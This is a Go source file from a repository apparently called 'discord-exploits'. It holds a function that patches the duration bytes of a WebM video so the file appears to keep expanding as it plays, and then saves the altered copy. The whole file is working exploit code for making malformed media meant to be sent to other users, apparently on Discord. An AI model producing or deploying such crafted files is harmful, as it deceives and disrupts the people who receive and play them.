discord-exploits/exploits/expanding-video.go
Schmenn e840303ea6 2 new modes
[-]skipArgs as it does not work
[^] moved smaller functions to /modules
[+] zerovideo mode
[+] negativevideo mode
[^] made virusimage prettier
2021-01-10 21:18:44 +01:00

38 lines
757 B
Go

package exploits
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"github.com/Schmenn/discord-exploits/modules"
)
// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played
func RunExpandingVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName)
modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1{
fmt.Println("could not find the part of the file that needs to be modified, exiting")
return
}
data[index+3] = 63
data[index+4] = 240
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
}